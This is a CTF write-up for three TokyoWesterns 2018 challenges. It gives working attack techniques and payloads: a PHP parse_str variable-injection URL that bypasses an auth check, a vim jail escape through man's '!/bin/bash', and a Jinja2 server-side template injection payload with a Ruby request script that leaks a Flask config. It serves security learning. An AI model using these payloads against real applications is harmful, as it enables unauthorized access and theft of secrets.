TokyoWesterns CTF 4th 2018 - Write-ups

🔗Information

🔗CTF

🔗SimpleAuth - Web

http://simpleauth.chal.ctf.westerns.tokyo/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>  <?php
>
> require_once 'flag.php';
>
> if (!empty($_SERVER['QUERY_STRING'])) {
> $query = $_SERVER['QUERY_STRING'];
> $res = parse_str($query);
> if (!empty($res['action'])){
> $action = $res['action'];
> }
> }
>
> if ($action === 'auth') {
> if (!empty($res['user'])) {
> $user = $res['user'];
> }
> if (!empty($res['pass'])) {
> $pass = $res['pass'];
> }
>
> if (!empty($user) && !empty($pass)) {
> $hashed_password = hash('md5', $user.$pass);
> }
> if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
> echo $flag;
> }
> else {
> echo 'fail :(';
> }
> }
> else {
> highlight_file(__FILE__);
> }
>

Here a === operator is used, no loose comparison is possible, and timing attack is nearly impossible.

1
$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'

There are no known vulnerability on hash(), and it seems not possible to abuse input $user and $pass.

1
2
3
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}

But take a look at the first part of the code:

1
2
3
4
5
6
7
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}

As you can see parse_str is used and the PHP manual is telling us that using parse_str without result parameter is a very bad idea.

This will dynamically set variables.

This will have a behavior similar to using extract, (I talked about it in a previous article c99.php : A backdoored backdoor).

We just need $hashed_password not to be already set.

But $hashed_password need $user and $pass to be defined.

And we have the choice not to create them so $hashed_password will not be set either.:

1
2
3
4
5
6
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}

Now let's see the running PHP version by taking a look at server HTTP header:

1
2
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.0.31

DEPRECATED as of PHP 7.2.

So we are good to go:

http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e.

The flag was TWCTF{d0_n0t_use_parse_str_without_result_param}.

🔗vimshell - Misc

Can you escape from jail?

We begin with vim opened on this page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
diff --git a/src/normal.c b/src/normal.c
index 41c762332..0011afb77 100644
--- a/src/normal.c
+++ b/src/normal.c
@@ -274,7 +274,7 @@ static const struct nv_cmd
{'7', nv_ignore, 0, 0},
{'8', nv_ignore, 0, 0},
{'9', nv_ignore, 0, 0},
- {':', nv_colon, 0, 0},
+ // {':', nv_colon, 0, 0},
{';', nv_csearch, 0, FALSE},
{'<', nv_operator, NV_RL, 0},
{'=', nv_operator, 0, 0},
@@ -297,7 +297,7 @@ static const struct nv_cmd
{'N', nv_next, 0, SEARCH_REV},
{'O', nv_open, 0, 0},
{'P', nv_put, 0, 0},
- {'Q', nv_exmode, NV_NCW, 0},
+ // {'Q', nv_exmode, NV_NCW, 0},
{'R', nv_Replace, 0, FALSE},
{'S', nv_subst, NV_KEEPREG, 0},
{'T', nv_csearch, NV_NCH_ALW|NV_LANG, BACKWARD},
@@ -318,7 +318,7 @@ static const struct nv_cmd
{'d', nv_operator, 0, 0},
{'e', nv_wordcmd, 0, FALSE},
{'f', nv_csearch, NV_NCH_ALW|NV_LANG, FORWARD},
- {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
+ // {'g', nv_g_cmd, NV_NCH_ALW, FALSE},
{'h', nv_left, NV_RL, 0},
{'i', nv_edit, NV_NCH, 0},
{'j', nv_down, 0, FALSE},

This is a patch they applied on vim, disabling us to use :, Q and g shortcuts.

So we can't use something like :shell or :!/bin/bash.

I found a Vim Cheat Sheet. K shortcut opens man page for word under the cursor.

So just press K and we are in man now.

But their man is not patched. So we can use !/bin/bash to have a shell.

Then we just have to look around to find the flag:

1
2
3
4
5
6
7
8
vimshell@vimshell-fbc8f84bf-w82t8:/go$ whoami
vimshell
vimshell@vimshell-fbc8f84bf-w82t8:/go$ pwd
/go
vimshell@vimshell-fbc8f84bf-w82t8:/go$ ls ..
bin boot dev etc flag go home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var vim vimshell.patch
vimshell@vimshell-fbc8f84bf-w82t8:/go$ cat ../flag
TWCTF{the_man_with_the_vim}

🔗Shrine - Web

shrine is translated as jinja in Japanese.

The source code is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
> import flask
> import os
>
>
> app = flask.Flask(__name__)
> app.config['FLAG'] = os.environ.pop('FLAG')
>
> @app.route('/')
> def index():
> return open(__file__).read()
>
> @app.route('/shrine/<path:shrine>')
> def shrine(shrine):
> def safe_jinja(s):
> s = s.replace('(', '').replace(')', '')
> blacklist = ['config', 'self']
> return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
> return flask.render_template_string(safe_jinja(shrine))
>
> if __name__ == '__main__':
> app.run(debug=True)
>

This is a flask app using jinja template engine, let's try a basic 49 as a path: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B7*7%7D%7D. This is resulting into 49. So we can make try an SSTI.

We notice this piece of code removing all of our parenthesis, so we can't use things like dir() or __subclasses__().

1
s = s.replace('(', '').replace(')', '')

Then some global flask methods where removed:

1
2
3
>>> blacklist = ['config', 'self']
>>> ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
'{% set config=None%}{% set self=None%}'

So our request is always prefixed with before being rendered by jinja2.

This is only disabling us from using config or self globals directly.

OddCoder used url_for and its method __globals__ to access the current_app, replacing self.

So we can call config from it.

Here is a simple ruby script to make the request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
require 'net/http'
require 'cgi'

# URI
base_url = 'http://shrine.chal.ctf.westerns.tokyo/shrine/'
enc_payload = CGI.escape('{{ url_for.__globals__["current_app"].config }}').gsub('+', '%20')
uri = URI(base_url + enc_payload)
puts "[+] Requested URI: #{uri}"
# http config
http = Net::HTTP.new(uri.host, uri.port)

# prepare request
req = Net::HTTP::Get.new(uri)
# fire the request
res = http.request req

puts "[+] HTTP Response: \n"
puts CGI.unescapeHTML(res.body)

Output:

1
2
3
4
ruby req.rb
[+] Requested URI: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B%20url_for.__globals__%5B%22current_app%22%5D.config%20%7D%7D
[+] HTTP Response:
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'FLAG': 'TWCTF{pray_f0r_sacred_jinja2}'}>

So http://shrine.chal.ctf.westerns.tokyo/shrine/ results in TWCTF{pray_f0r_sacred_jinja2}.

Share